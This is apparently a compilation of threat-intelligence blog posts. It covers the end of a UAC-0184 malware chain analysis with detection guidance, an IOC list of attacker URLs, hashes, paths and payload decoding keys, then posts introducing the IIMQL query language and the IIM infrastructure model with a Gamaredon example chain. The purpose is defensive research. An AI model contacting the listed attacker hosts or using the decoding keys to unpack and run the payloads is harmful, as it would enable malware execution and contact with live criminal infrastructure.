      "to": "e_vslauncher",
      "type": "drops",
      "sequence_order": 11,
      "confidence": "confirmed"
    },
    {
      "from": "e_bundle",
      "to": "e_input",
      "type": "drops",
      "sequence_order": 11,
      "confidence": "confirmed"
    },
    {
      "from": "e_vslauncher",
      "to": "e_input",
      "type": "execute",
      "sequence_order": 12,
      "confidence": "likely"
    },
    {
      "from": "e_input",
      "to": "e_multicast",
      "type": "communicates-with",
      "sequence_order": 13,
      "confidence": "confirmed"
    },
    {
      "from": "e_multicast",
      "to": "e_controller",
      "type": "communicates-with",
      "sequence_order": 14,
      "confidence": "tentative"
    },
    {
      "from": "e_input",
      "to": "e_controller",
      "type": "connect",
      "sequence_order": 15,
      "confidence": "tentative"
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1197",
      "name": "BITS Jobs",
      "comment": "bitsadmin-style transfer behavior in the initial chain."
    },
    {
      "technique_id": "T1218.005",
      "name": "Mshta",
      "comment": "HTA execution path through mshta.exe."
    },
    {
      "technique_id": "T1574.001",
      "name": "DLL Search Order Hijacking",
      "comment": "Plane9 and VSLauncher sideloading paths."
    },
    {
      "technique_id": "T1027",
      "name": "Obfuscated Files or Information",
      "comment": "Encoded blobs, pseudo-PNG IDAT staging, XOR and LZNT1 layers."
    },
    {
      "technique_id": "T1105",
      "name": "Ingress Tool Transfer",
      "comment": "Payload archive retrieval from delivery infrastructure."
    }
  ]
}

Chain Visualization:

The simplified chain looks like this:

entry      Ukraine-themed LNK lure
entry      gated HTA set on 169.40.135.35
staging    dctrprraclus.zip
staging    Plane9 host plus openvr_api.dll loader
staging    kernel-diag.lib decoded to evr.dll
staging    filter.bin pseudo-PNG IDAT structure
payload    decoded LZNT1 bundle
payload    VSLauncher.exe plus PassMark input.dll
c2         224.0.0.255:31339 UDP discovery
c2         possible internal peer/controller, tentative

The useful structural pattern is not the hash of filter.bin.

The useful pattern is this:

(:entry {gated})
  -> (:staging {archive})
  -> (:staging {legitimate host and side-loaded loader})
  -> (:staging {encoded local blob})
  -> (:staging {pseudo-file-format container})
  -> (:payload {signed utility stack})
  -> (:c2 {local discovery or internal control, tentative})

Defensive playbook

Enough attacker-side fun. Here is the defensive part.

Network signals, high confidence

Look for UDP traffic to:

224.0.0.255:31339

from hosts where PassMark BurnInTest should not be installed.

The discovery packets contain MSG_EPFIND in cleartext and can be fingerprinted on the wire.

Also hunt for TCP traffic on:

31339/tcp

between internal hosts where there is no legitimate PassMark deployment.
If this appears in your network and IT did not set up BurnInTest, investigate.
Also look for HTTP fetches against bare IPs with no hostname and bitsadmin-style user agents.

Process and host signals

VSLauncher.exe running outside a normal Visual Studio path is suspicious, especially if the working directory contains input.dll.

The path %windir%\SysWOW64\ is particularly relevant for this campaign.

Watch for MiniDumpWriteDump calls from a VSLauncher.exe process. That should be ETW-visible with reasonable telemetry. There is no normal reason for Visual Studio Version Selector to dump process memory in this context.

Watch for Plane9 or Cluster-Overlay64.exe execution from non-user-installed paths, for example:

%APPDATA%\ApplicationData32\

Plane9 is an audio visualizer. If it appears from a weird application data directory as part of a staged loader chain, that is not your user’s sudden love for generative music visuals.

File creation events of interest:

%APPDATA%\ApplicationData32\Cluster-Overlay64.exe
%APPDATA%\ApplicationData32\openvr_api.dll
%APPDATA%\ApplicationData32\filter.bin
%APPDATA%\ApplicationData32\kernel-diag.lib
%windir%\SysWOW64\input.dll
%windir%\SysWOW64\VSLauncher.exe
Initial access signals

Look for LNK files with command-line arguments containing:

bitsadmin /transfer
mshta.exe

Especially when paired with temporary-looking filename patterns such as ~tmp(...).
Also hunt for HTTP fetches of HTA files from bare-IP infrastructure, such as:

169.40.135.35

The observed HTAs all point to dctrprraclus.zip as the payload archive.

IOC dump

SHA-256
kernel-diag.lib
dc6cddc391b373b18f105f49a80ff83d53b430d8dea35c1f1576832fa9fbd2b3
filter.bin
f5ca9c53d1537142889d7172c6643e886b2164233b91f0fc2d41ca010f035372
openvr_api.dll
df6942dc1a89226359adf1aac597c3b270f4a408214b4f7c2083f9524605e0f7
input.dll
b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb
PE_08 SqlExpChk
33e44dea247eaa8b0fc8ed1f8ed575905f6ce0b7119337ddd29863bbb03288b3

Network
hxxp://169.40.135.35/dctrpr/slippersuppity.hta
hxxp://169.40.135.35/dctrpr/basketpast.hta
hxxp://169.40.135.35/dctrpr/agentdiesel.hta
hxxp://169.40.135.35/dctrprraclus.zip
224.0.0.255:31339 UDP PassMark multicast, repurposed
31339/tcp BurnInTest data channel, repurposed

On-disk paths
%APPDATA%\ApplicationData32\Cluster-Overlay64.exe
%APPDATA%\ApplicationData32\openvr_api.dll
%APPDATA%\ApplicationData32\filter.bin
%APPDATA%\ApplicationData32\kernel-diag.lib
%windir%\SysWOW64\input.dll
%windir%\SysWOW64\VSLauncher.exe

Pipeline keys
kernel-diag.lib decoder:
DWORD-add, offset 0x24D1, size 6160, key 0x213AB052
filter.bin IDAT XOR key:
0x227E9BDE, DWORD-wise XOR
filter.bin post-XOR:
skip 16-byte header, then LZNT1 using RtlDecompressBuffer format

What remains open

One thing still bothers me: the source of the %y substitution value.

There are two good next steps:

  1. Dynamic detonation in a sandboxed LAN with a fake PassMark Endpoint peer on 224.0.0.255:31339, to see whether the dropper picks a controller address from the multicast reply.
  2. Manual disassembly of the openvr_api.dll exports VR_InitInternal and LiquidVR, where the real loader logic lives.
    The malicious code that builds the context structure passed to evr.dll likely sits there and the value that fills %y is probably set before the shellcode runs.

Both are doable, but this post is already longer than usual.
If one of those paths gives a clean answer, that belongs in a follow-up.

Final words

So, that is the UAC-0184 chain from LNK to bitsadmin and HTA, into a DLL sideloading setup, through two staged decoders, then into a signed Microsoft and Sectigo-backed utility stack that appears to borrow its own network layer.

The most important finding is not a single hash and not a single URL.

It is the structure:

  • gated HTA delivery
  • archive-based staging
  • legitimate software as execution cover
  • encoded local blobs
  • PNG chunk abuse without a real PNG header
  • DWORD XOR plus LZNT1 decoding
  • signed PassMark network functionality repurposed as cover
  • no static external C2 in the analyzed artifacts

That is the part worth tracking.

As always, if you want to go through the sample yourself, the hashes are above.
And if someone finds the %y source before I do, please ping me through the usual channels.
I would actually like to know 🙂

IIMQL – The Query Language for Adversary Infrastructure (4/7)

by Robin Dost
Part 4 of 7 of building the Malwarebox Ecosystem
Website: https://iimql.malwarebox.eu
GitHub: https://github.com/MalwareboxEU/IIMQL


In the previous part, I introduced IIM, the Infrastructure Intelligence Model.

Click for the short version
IOCs tell you what existed
ATT&CK tells you what adversaries do on endpoints
IIM describes how adversary infrastructure is composed

Entry points, redirectors, staging hosts, payload locations, C2 endpoints, relations between them, techniques attached to infrastructure roles, patterns abstracted from concrete observations

Basically the stuff that is usually buried inside analyst prose, screenshots, PDF diagrams and “we saw this kind of redirect chain again” comments

IIM gives that layer a structure

But once you have a structure, the next obvious question is:

How do you search it?

Because describing one chain is nice.
Describing ten chains is useful.
Describing a few thousand chains and then manually scrolling through JSON like a threat intelligence raccoon in a dumpster is not a workflow.

That is where IIMQL comes in.

IIMQL is the query language for the Infrastructure Intelligence Model.
It is built to search, filter and correlate IIM chains, roles, entities, relations and structural patterns in a way that actually fits the model.

IIMQL is for questions like:

  • Show me every chain where a staging artifact drops a payload that connects to a C2.
  • Show me every actor using dynamic DNS in the C2 role.
  • Show me every chain where the entry point flows into a redirector before reaching a payload.
  • Show me every payload that connects to infrastructure annotated with a specific IIM technique.
  • Show me every infrastructure chain that looks like this shape, even if every domain, IP and hash changed.

That last part is the whole point.

IOC feeds let you ask: Is this domain bad?
IIMQL lets you ask: Have I seen this operational shape before?
That is a very different question.

And frankly, it is the question we should have been asking more often.

06query the corpus

IIMQL.

v1.0 · open stdlib-only embed anywhere

When you have thousands of chains, patterns, and actor profiles, yours plus federated feeds, the interesting questions are structural. IIMQL turns them into one-liners.

Grammar
Cypher-style graph patterns for structure. SQL-style filters for attributes. Both in one query.
Three modes
CLI on local chains. Embedded in Kraken as pivot surface. Library in third-party tools.
Stable
v1.0 queries still run on later versions. Extensions without breakage.
# every c2 using fast-flux or dga MATCH position WHERE role = “c2” AND (techniques HAS “IIM-T007” OR techniques HAS “IIM-T009”) RETURN chain.actor_id, entity.value
MB-0001    c2.duckdns.org
MB-0002    telemetry-edge.net
MB-0008    qz3kdme9wpx.com

Why a query language?

IIMs whole pitch is that adversary infrastructure is structural.

  • A campaign chain is not just a bag of domains, it is a directed graph.
  • An entry point references or downloads a staging artifact.
  • A staging artifact drops or executes a payload.
  • The payload connects to a C2.
  • A redirector may sit in between.
  • A dead-drop resolver may point to the final endpoint.
  • DNS may rotate.
  • Hosting may rotate.
  • The operator may burn the entire surface tomorrow and rebuild it with new artifacts.

The structure often survives.
And if the structure survives, you should be able to query it.
That sounds obvious, but in practice threat intelligence tooling often stops right before that point.

  • We can store indicators.
  • We can tag indicators.
  • We can enrich indicators.
  • We can export indicators.
  • We can re-import the same indicators into another tool and pretend that interoperability happened.

But asking structural questions across infrastructure chains is still weirdly painful.

You either write custom Python, use a graph database directly, abuse a SIEM query language that was never designed for this, or convert the whole thing into a generic graph model and lose the IIM semantics on the way.

IIMQL avoids that.

  • It is small on purpose.
  • It speaks IIM directly.
  • It does not try to become a general purpose graph query language.

IIMQL has one job:

Ask useful questions against IIM data.

The basic shape

Every IIMQL query follows a simple idea:

MATCH what you care about
WHERE the conditions are true
RETURN the fields you want back

For example:

MATCH chain

That returns chains.

MATCH chain WHERE actor_id = "MB-0001"

That returns chains attributed to a specific actor ID.

MATCH position WHERE role = "c2"

That returns positions where an entity plays the C2 role.

MATCH entity WHERE type = "domain" AND value =~ /duckdns/

That returns domain entities matching a regex.

MATCH relation WHERE type = "drops"

That returns relations where one artifact drops another.

Nothing exotic.
Nothing that requires a PhD in graph theory or three tabs of vendor documentation.

The interesting part starts when you query shapes.

Structural matching

IIM chains are directed graphs.

So IIMQL supports graph style matching for chain shapes.

Example:

MATCH (:entry)-->(:staging)-->(:payload)-->(:c2)

That asks for chains where an entry position flows into staging, then payload, then C2.

You can make it stricter by requiring relation types:

MATCH (:entry)-[:download]->(:staging)-[:drops]->(:payload)-[:connect]->(:c2)

Now the shape is not just role order.

It also requires a download relation, then a drops relation, then a connect relation.

That matters.

Because “entry to staging to payload to C2” is a useful broad shape.

But “entry downloads staging, staging drops payload, payload connects to C2” is much closer to an operational flow.

IIMQL lets you move between those levels without losing the model.

You can also use aliases:

MATCH (e:entry)-->(s:staging)
WHERE e.techniques HAS "IIM-T019"
RETURN chain.chain_id, s.entity.value

This asks for chains where an entry position with a specific IIM technique flows into staging, then returns the chain ID and the staging entity value.

That is the kind of query I wanted IIMQL to make boring.

Because this should be boring.

Analysts should not need to write custom scripts for every question that is structurally obvious once the data is modeled.

Targets: chain, position, entity, relation and graph shapes

IIMQL can query different levels of the model.

MATCH chain is for top-level chain metadata.

Useful for actor IDs, confidence, observed timestamps, review flags, imported sources and general filtering.

MATCH position is for role assignments.

This is where you ask things like:

  • Which entities acted as C2?
  • Which positions carry IIM-T008?
  • Which staging roles are still tentative?
  • Which payload positions appear in confirmed chains?

MATCH entity is for raw artifacts.

Domains, IPs, URLs, files, hashes, emails, certificates, ASNs.

This is the closest IIMQL gets to a classic IOC workflow, but with one important difference:
Entities can still be returned with chain and position context.

A domain is not just a domain.
It may be a redirector in one chain and C2 in another.
That distinction matters.

MATCH relation is for edges.

Download, redirect, drops, execute, connect, resolves-to, references, communicates-with.

This lets you ask questions about how infrastructure pieces interact, not just what they are.
And graph patterns are for the good stuff.
The operational shapes.
The part that survives rotation.

Field filtering

IIMQL supports the basic operators you would expect.

Equality:

role = "c2"

Inequality:

role != "entry"

Ordering:

sequence_order > 2

Regex:

value =~ /\.duckdns\.org$/

Array membership:

techniques HAS "IIM-T008"

Substring matching:

value CONTAINS ".example"

Set membership:

confidence IN ["confirmed", "likely"]

Boolean logic:

role = "c2" AND NOT needs_review = true

Again, boring by design.

My point is not to be clever, my point is to be precise 🙂

Example: finding fast-flux or DGA C2

Let’s say you have a corpus of IIM chains and want to find C2 positions that carry either Fast-Flux DNS or DGA technique annotations.

In IIMQL, that becomes:

MATCH position
WHERE role = "c2"
  AND (techniques HAS "IIM-T007" OR techniques HAS "IIM-T009")
RETURN chain.chain_id, chain.actor_id, entity.value, techniques

That is the difference between “I have data” and “I can ask operational questions against my data”.

The query is not looking for a known bad IP.
It is looking for a role in a chain with specific infrastructure behavior.

That is a completely different analytical layer.
And it maps directly to IIM’s purpose.

IIM technique IDs describe infrastructure behavior, not endpoint behavior.
So when you query for IIM-T007 or IIM-T009, you are not asking “which malware family is this”, you are asking “which infrastructure role carries this property”.

That makes the result usable for clustering, detection engineering, reporting and pattern abstraction.

Example: finding a known operational tail

Another simple query:

MATCH (s:staging)-->(p:payload)-->(c:c2)
RETURN chain.chain_id, p.entity.value, c.entity.value

This finds chains where staging flows into payload and payload flows into C2.’
That tail is common in real operations.
The concrete filenames, domains and IPs can all change.
The chain shape stays useful.

And if you want to be stricter:

MATCH (:staging)-->(:payload)-[:connect]->(:c2)

Now the payload must connect to the C2 through a connect relation.

This is where IIMQL becomes more than a filter language:
It lets you treat adversary infrastructure like a structured system.
Not a spreadsheet, not a blocklist, not a pile of JSON.
A system.

Why this matters for Malwarebox

IIMQL is part of the same larger idea as IIM, ACDP and Kraken.

Kraken
backbone · observation graph
IIM
infrastructure vocabulary
Roles, relations, chains, patterns. Structural threat infrastructure as a shared model.
v1.1
IIMQL
query vocabulary
Cypher-style structure plus SQL-style filters across chains and patterns.
v1.0
ACDP
priority layer
Transparent actor-centric scoring built from structural observations.
v1.0
observe in Kraken · structure with IIM · query with IIMQL · prioritize with ACDP

  • IIM gives adversary infrastructure a grammar.
  • ACDP gives prioritization a methodology.
  • Kraken is the working environment where actor infrastructure is tracked as a living graph.
  • IIMQL is the thing that lets you ask questions across that graph without hardcoding the question into the platform.

You can publish patterns all day, but if another organization cannot match those patterns against their own chains, the value stays mostly theoretical.
IIMQL is the bridge between “we have a structural model” and “we can actually operationalize this”.

The long-term goal is a European CTI ecosystem that can track, model, query and share infrastructure intelligence without depending entirely on US vendor platforms, closed enrichment systems or PDF-based trust rituals from 2012.
But more about this in the next part of this series.

Federation needs queryability

In the IIM article I described the federation idea:

Org A observes a campaign.
Org A builds an IIM chain.
Org A abstracts it into a pattern.

Org B receives the pattern.
Org B matches it against their own observations.

The concrete domains, IPs and hashes may be completely different.
The structure still matches.

That is the whole “patterns instead of indicators” argument.
But for that to work at scale, you need queryability.

You need to be able to ask:

  • Which of my chains match this shape?
  • Which actor patterns overlap with my new observations?
  • Which chains contain a redirector before payload delivery?
  • Which C2 roles use the same infrastructure techniques across different campaigns?
  • Which chains are confirmed and which are still tentative?
  • Which entities are volatile artifacts and which structural roles keep reappearing?

Without a query layer, every participant in a federation has to reinvent the matching logic locally.

The query language is not just a convenience feature, it is part of making IIM usable as a shared analytical layer.

Local first, no runtime dependency circus

IIMQL is implemented in Python and currently has no runtime dependencies beyond the standard library.

That is intentional.

I do not want a query language for CTI data that needs half of PyPI, a Java service, an Elasticsearch cluster, a graph database and a deployment diagram that looks like a hostage situation.

You can install it locally:

git clone https://github.com/Mr128Bit/IIMQL
cd IIMQL
pip install -e .

Then run queries from the CLI:

iimql 'MATCH position WHERE role = "c2"' examples/chains/

You can query from a file:

iimql -f examples/05-fast-flux-c2.iimql examples/chains/

You can return JSON:

iimql --format json 'MATCH entity WHERE type = "domain"' examples/chains/

You can count matches:

iimql --count 'MATCH (:entry)-->(:payload)' examples/chains/

You can pipe chains in:

cat examples/chains/*.json | iimql 'MATCH chain WHERE actor_id = "MB-0001"'

And you can use it as a Python library:

from iimql import parse, execute, load_paths, query_chains

docs = load_paths(["examples/chains/"])

q = parse('MATCH position WHERE role = "c2" AND techniques HAS "IIM-T008"')

for row in execute(q, docs.chains):
    print(row["chain"]["chain_id"], row["entity"]["value"])

That makes it easy to drop into existing SOC tooling, research notebooks, enrichment scripts, internal CTI pipelines or whatever other questionable Python folder has been running in production since 2019.

No judgement ^^

What IIMQL is not

IIMQL is not a replacement for SQL.

If your data is relational, use SQL.

IIMQL is not a replacement for Cypher.

If you already have a graph database and want general graph traversal, Cypher is mature and extremely good at that.

IIMQL is not a replacement for STIX Patterning.

STIX Patterning is for matching cyber observable patterns in STIX data.

IIMQL is not a detection language like Sigma or YARA.

It does not match logs or files.

It matches IIM documents.

IIMQL is also not an extension of the IIM specification.

IIMQL consumes IIM data.

It does not define new roles.

It does not define new relation types.

It does not define new technique vocabularies.

The model stays the model & The query layer queries the model.

That separation matters because otherwise every tool starts quietly changing the standard it claims to implement.

And that is how “interoperability” becomes a PowerPoint word.

Current limitations

IIMQL is still early.

The current version is intentionally small and there are limits.
No variable-length paths yet.

So this:

MATCH (:entry)-->(:payload)

means a direct edge.

It does not magically skip everything in between.
That is deliberate for the first cut because structural matching should be predictable before it becomes flexible.
No aggregation yet.

So no GROUP BYCOUNT by fieldDISTINCT style reporting or sorting in the first implementation.

  • No joins across chains yet.
  • No MATCH pattern yet.

Patterns and feeds can be loaded, but queries currently run against chains.

Technique confidence and role confidence are readable, but there is no nice syntax sugar yet for questions like “show me chains where any position has tentative confidence”.

That will come later.

I would rather ship a small query language that behaves correctly than a big one that lies confidently.

Threat intelligence already has enough of that.

The design principle

The design principle behind IIMQL is simple:

Make structural infrastructure questions cheap.

  • If an analyst sees a pattern in one campaign, they should be able to ask for that pattern across the corpus without writing a new parser.
  • If a defender wants to find C2 roles using a specific infrastructure technique, that should be one query.
  • If a researcher wants to compare actor tradecraft across rotations, they should not have to manually diff IOC lists.
  • If a European public-sector team wants to exchange patterns without exposing victim-specific artifacts, they should be able to match those patterns locally against their own observations.

IIMQL is small, but it sits directly in that problem space.
It gives IIM data a usable query surface.

That is necessary if IIM is supposed to be more than a schema.

Why this belongs in the Malwarebox ecosystem

Malwarebox is slowly becoming a stack.

The direction is clear

The public frameworks stay open because they need review, adoption and criticism.
The private lab stays private where sensitive actor tracking and unfinished research can mature before it becomes public methodology.

That split is intentional.

Open frameworks need a place where mistakes are cheap.
Closed platforms need open interfaces if they are supposed to matter beyond one installation.

IIMQL is one of those interfaces.

It gives the open model a practical way to be used outside Kraken.
That matters because I do not want IIM to become “the format Kraken uses”.

That would be boring and useless.

IIM should be usable by researchers, SOC teams, CERTs, public-sector defenders, vendors, open-source projects and internal tooling.
IIMQL helps with that because it makes the data searchable without requiring the whole Malwarebox stack.

  • Install the tool
  • Load chains
  • Run queries
  • Break it

Tell me what is wrong.

That is a healthier path than pretending the first version is perfect because the logo looks official.

A small example of the bigger picture

Take a campaign where the concrete infrastructure rotates every few days.

  • New domain
  • New IP
  • New payload hash
  • New redirector
  • Same operator logic

Classic IOC tracking sees change everywhere

IIM sees the chain:

entry
to staging
to payload
to dead-drop resolver
to dynamic DNS
to C2

IIMQL lets you ask for that shape:

MATCH (:entry)-->(:staging)-->(:payload)-->(:redirector)-->(:c2)

Or stricter:

MATCH (:entry)-[:download]->(:staging)-[:drops]->(:payload)-[:connect]->(:redirector)-[:resolves-to]->(:c2)

Then you can filter:

WHERE chain.confidence IN ["confirmed", "likely"]

And return what matters:

RETURN chain.chain_id, chain.actor_id, c.entity.value

That is the difference.

You are no longer asking whether one artifact is bad.
You are asking whether an operation behaves like something you already understand.

That is where infrastructure intelligence becomes more than indicator management.

Where do I find chains to query?

You can create your own chains or watch my IIM Feed Repository.
There's already some chains and patterns in there, but i'll continue to upload more in the future.
If you have patterns & chains you want to contribute, feel free to reach out or create a push request.

License

IIMQL is published under the Apache License 2.0.

Keep the license notice and attribution intact.

  • Build with it
  • Ship with it
  • Break it properly

Next

Part five will pull the ecosystem together.

Kraken, IIM, IIMQL, ACDP and the broader Malwarebox direction.

As one loop:

  • Observe infrastructure
  • Model the chain
  • Query the structure
  • Prioritize defensively
  • Feed the lessons back into the model

That is the actual point of the ecosystem.

Not collecting more data.
Everyone has more data.
The point is making adversary infrastructure understandable, comparable and queryable in a way that survives rotation.
And if that can help push a more independent European CTI ecosystem into existence, even better.

For now:

  • Read the IIM article
  • Try IIMQL
  • Run it against the examples
  • Write ugly queries
  • Find the weird edge cases
  • Open issues

That is how this gets better.


IIM Websitehttps://iim.malwarebox.eu
IIMQL Websitehttps://iimql.malwarebox.eu
PyPIComing soon
GitHub IIMhttps://github.com/MalwareboxEU/IIM
GitHub IIMQLhttps://github.com/MalwareboxEU/IIMQL
Malwarebox IIM Feed (Updated Weekly)https://github.com/MalwareboxEU/IIM-Feed

IIM – The Grammar of Adversary Infrastructure (3/7)

by Robin Dost

Part 3 of 7 of building the Malwarebox Ecosystem
Official Website: https://iim.malwarebox.eu
GitHub: https://github.com/MalwareboxEU/IIM

EDIT: I released part 4 / 7 “IIMQL – The Query Language for Adversary Infrastructure (4/7)

Threat intelligence has a small problem.

We have more data than ever. Blocklists with millions of entries. Feeds that refresh every thirty seconds. Vendors that will happily sell you a TAXII endpoint streaming 200 indicators per minute, all guaranteed to be expired by the time your SIEM finishes ingesting them.

And somehow, with all this data, we still don’t really know what we’re looking at.

That’s not a tooling problem. It’s a structure problem. After enough time staring at infrastructure rotations from groups like Gamaredon and concluding that “shift everything daily” is in fact a coherent strategy when nobody has the language to describe what’s actually shifting, I decided to try and fix it.

This is part 3 of 7 on the Malwarebox ecosystem. We’re starting today with IIM, the Infrastructure Intelligence Model. Part 4 will cover IIMQL, the query language built on top of it. Part 5 will tie the whole thing together. ACDP already has its own write-up, so I’m leaving it out here.

Two pillars and a hole

Classical threat intelligence rests on two pillars.

On one side: IOCs. Domains, IPs, hashes. Concrete, actionable and useful for roughly the time it takes an attacker to spin up a new Cloudflare Worker. The half-life of a C2 domain in 2026 is somewhere between “a coffee” and “a long lunch.”
Blocklists describe what existed and not what will exist tomorrow.

On the other side: MITRE ATT&CK®. A genuinely good behavioral framework.
Stable, well-maintained, internationally adopted.
Tells you what adversaries do on endpoints, process injection, credential dumping, lateral movement.

What ATT&CK very deliberately does not tell you is anything about infrastructure.
Hosting, routing, resolution, gating, none of it lives in the model. That’s by design.
ATT&CK was never meant to describe how a phishing redirect chain is composed.

So here’s the picture:

On one side, you have millions of indicators that go stale before lunch.
On the other side, you have a few hundred techniques describing adversary behavior, mostly from the endpoint perspective.
And in between sits the operational reality of how a campaign is actually delivered, routed, staged, resolved, gated and defended.
That layer is still mostly captured in analyst writeups, vendor reports and free-form descriptions.

  • There are standards for exchanging threat intelligence
  • There are frameworks for describing adversary behavior
  • There are platforms for storing indicators

But there is no widely adopted, infrastructure-focused model for describing the logic of a delivery chain itself.

  • There are standards for exchanging threat intelligence.
  • There are frameworks for describing adversary behavior.
  • There are platforms for storing indicators.

But

  • No shared vocabulary for saying what role a host plays
  • No consistent way to distinguish an entry point from a redirector, a staging host, a payload location or a C2 endpoint
  • No clean structure for expressing how those pieces relate to each other over time

So the same patterns keep reappearing in analyst notes, vendor whitepapers and PDF reports, just described with slightly different words.

Adversaries operate as systems.

We have been treating those systems as events too much imo.

What “infrastructure” actually means

Quick definition. Because everyone in TI uses “infrastructure” to mean something slightly different and that’s part of the problem.

When I say infrastructure, I mean everything between the adversary and the click:

  • Where things are hosted
  • How DNS resolves
  • How traffic is routed
  • Who is allowed to reach which node
  • How the chain is composed and ordered

This is the layer that survives a sample being detonated, a hash being burned, an IOC list being published. The specific URL changes weekly.
The fact that there is a Cloudflare Worker in front of an HTA-dropping nginx behind a domain that resolves through RegRU, that pattern often survives.

That pattern is what IIM tries to describe.

Six concepts, one chain

IIM is small on purpose.
Six concepts, four primitives, two abstractions.
If a model needs three pages to explain itself, nobody is going to use it easily and I have personally read enough threat intel framework PDFs to consider this a moral position

Entities are the facts. A URL, an IP, a domain, a file hash, a TLS cert.
Pure observation, no interpretation.
An entity exists, has identity and has timestamps. That’s it.

{
  "id": "e3",
  "type": "url",
  "value": "https://worker.example.dev/r",
  "first_seen": "2026-04-10T12:00:00Z"
}

Roles give an entity meaning in context.
The same Cloudflare Worker can be an entry point in one campaign and a redirector in another.
Roles live on the chain position, not the entity itself.
That means: The role isn’t a property of the artifact. The role is what the artifact is doing in this particular operation.

The role catalog is small: entry, redirector, staging, payload, c2.
Five positions, because when I tried to add more I couldn’t honestly justify any of them.

Relations are the actual interactions.
download, redirect, drops, execute, connect, resolves-to, references, communicates-with

Critically: relations carry evidence.
They are observed, not assumed.
If you can’t tell me when and how you saw the redirect, the relation doesn’t go in the chain. We have enough threat intel that’s “well, probably” already.

Techniques are the reusable infrastructure patterns. CDN Abuse, Fast-Flux DNS, Geofenced Delivery, Multi-Hop Redirect, Dead-Drop Resolver.
Twenty-six of them in v1.1.
The catalog will grow, but only when something new actually shows up in the wild.

The thing to internalize: IIM techniques describe infrastructure, not behavior. They are deliberately complementary to ATT&CK, not competitive. If your technique describes what happens on the endpoint, it belongs in ATT&CK. If it describes how traffic flows, where things are hosted or who is allowed to reach what, it belongs here. The two catalogs sit on different axes by design.

Chains are concrete observations. A specific campaigns specific infrastructure at a specific time, modeled as an ordered sequence of role positions, each carrying entities and techniques. (it isn’t as complex as it sounds ^^)
Chains describe what was actually seen.

Patterns are chains with the entities stripped out.
Just the structural fingerprint: role sequence, techniques, match semantics.
Patterns are what you share when you want to publish “this is what these guys infrastructure looks like” without having to ship a list of IOCs that will be dead soon.

That’s the whole model.
Six concepts, deliberately small.

A real example

Let’s run Gamaredon through it.

Scale: an active operation against Ukrainian government and military targets, abusing CVE-2025-6218 to place an HTA loader into the Startup folder without user interaction.

In IIM terms, the chain is not interesting because of one specific domain, one Telegram channel or one IP address.

It is interesting because of the operational shape.

The observed chain looks like this:

entry       > UA government / military-themed spearphishing lure
staging     > RAR archive abusing CVE-2025-6218
staging     > HTA file placed in the Startup folder
redirector  > masqueraded URL using president.gov.ua-style userinfo
payload     > Pteranodon Stage-2 loader
redirector  > Telegram dead-drop channel: oberfarir
redirector  > Telegram dead-drop channel: natural_blood
redirector  > dynamic DNS host: document-downloads.ddns.net
c2          > resolved Telegram-provided endpoint: 194.67.71.75
c2          > resolved Telegram-provided endpoint: 45.33.16.183

The chain contains ten role positions:

entry         > UA gov/military-themed spearphishing sender
staging       > RAR archive triggering CVE-2025-6218
staging       > HTA dropped into Startup
redirector    > URL abusing trusted-looking Ukrainian government branding
payload       > Pteranodon Stage-2 loader
redirector    > Telegram channel used as dead-drop resolver
redirector    > second Telegram channel used as dead-drop resolver
redirector    > dynamic DNS redirector / resolver
c2            > C2 endpoint
c2            > additional resolved C2 endpoint

Techniques attached:

entry          IIM-T019, IIM-T008
staging-1      IIM-T023
staging-2      -
redirector-1   IIM-T006, IIM-T008, IIM-T020
payload        -
redirector-2   IIM-T006, IIM-T013
redirector-3   IIM-T006, IIM-T013, IIM-T023
redirector-4   IIM-T006, IIM-T008, IIM-T020
c2-1           -
c2-2           -

What matters here is the split between volatile infrastructure and reusable structure.

The Dynamic DNS host can disappear. The bulletproof hosting endpoint can be replaced. The loader can be recompiled. The lure, archive name, HTA filename, DynDNS domain and final IPs are all replaceable pieces.

But the backbone remains visible:

spearphishing entry
-> archive-based staging
-> Startup-folder HTA persistence / loader execution
-> trusted-looking redirector
-> Pteranodon loader
-> Telegram dead-drop resolution
-> dynamic DNS / hosted C2 infrastructure

That is the point of modelling this as infrastructure behavior instead of just collecting indicators.

If you only track the IOCs, every rotation looks like a new campaign. A new Telegram channel, a new DynDNS hostname, a new IP address, a new loader hash.

If you track the pattern, it looks different.

It becomes the same operational design with swapped components.

And that is exactly the layer IIM is meant to describe: not just what was observed, but how the infrastructure was composed, how the pieces related to each other and which parts of the chain are actor tradecraft rather than disposable infrastructure.

Here’s a visual representation of the chain as SVG.

If you want to try yourself, here’s the chain, you can visualize it yourself within the IIM Workbench.

Click to view chain
{
  "iim_version": "1.1",
  "chain_id": "gamaredon-2025-zero-click-rar",
  "entities": [
    {
      "id": "e1",
      "type": "file",
      "value": "<UA gov/military-themed spearphishing sender>"
    },
    {
      "id": "e2",
      "type": "file",
      "value": "*.rar (CVE-2025-6218 trigger archive)"
    },
    {
      "id": "e3",
      "type": "file",
      "value": "<docname>.HTA in Startup folder"
    },
    {
      "id": "e4",
      "type": "url",
      "value": "http://president.gov.ua@readers.serveirc.com?/gss_11.11.2025/kidneyfih/broadlyrQZ.pdf"
    },
    {
      "id": "e5",
      "type": "file",
      "value": "Pteranodon (Stage-2 loader)"
    },
    {
      "id": "e6",
      "type": "url",
      "value": "https://www.telegram.me/s/oberfarir"
    },
    {
      "id": "e7",
      "type": "url",
      "value": "https://www.telegram.me/s/natural_blood"
    },
    {
      "id": "e8",
      "type": "url",
      "value": "document-downloads.ddns.net"
    },
    {
      "id": "e9",
      "type": "url",
      "value": "194.67.71.75"
    },
    {
      "id": "e10",
      "type": "ip",
      "value": "45.33.16.183"
    }
  ],
  "chain": [
    {
      "entity_id": "e1",
      "role": "entry",
      "techniques": [
        "IIM-T019",
        "IIM-T008"
      ]
    },
    {
      "entity_id": "e2",
      "role": "staging",
      "techniques": [
        "IIM-T023"
      ]
    },
    {
      "entity_id": "e3",
      "role": "staging",
      "techniques": []
    },
    {
      "entity_id": "e4",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T008",
        "IIM-T008",
        "IIM-T020"
      ]
    },
    {
      "entity_id": "e5",
      "role": "payload",
      "techniques": []
    },
    {
      "entity_id": "e6",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T013"
      ]
    },
    {
      "entity_id": "e7",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T013",
        "IIM-T023"
      ]
    },
    {
      "entity_id": "e8",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T008",
        "IIM-T020"
      ]
    },
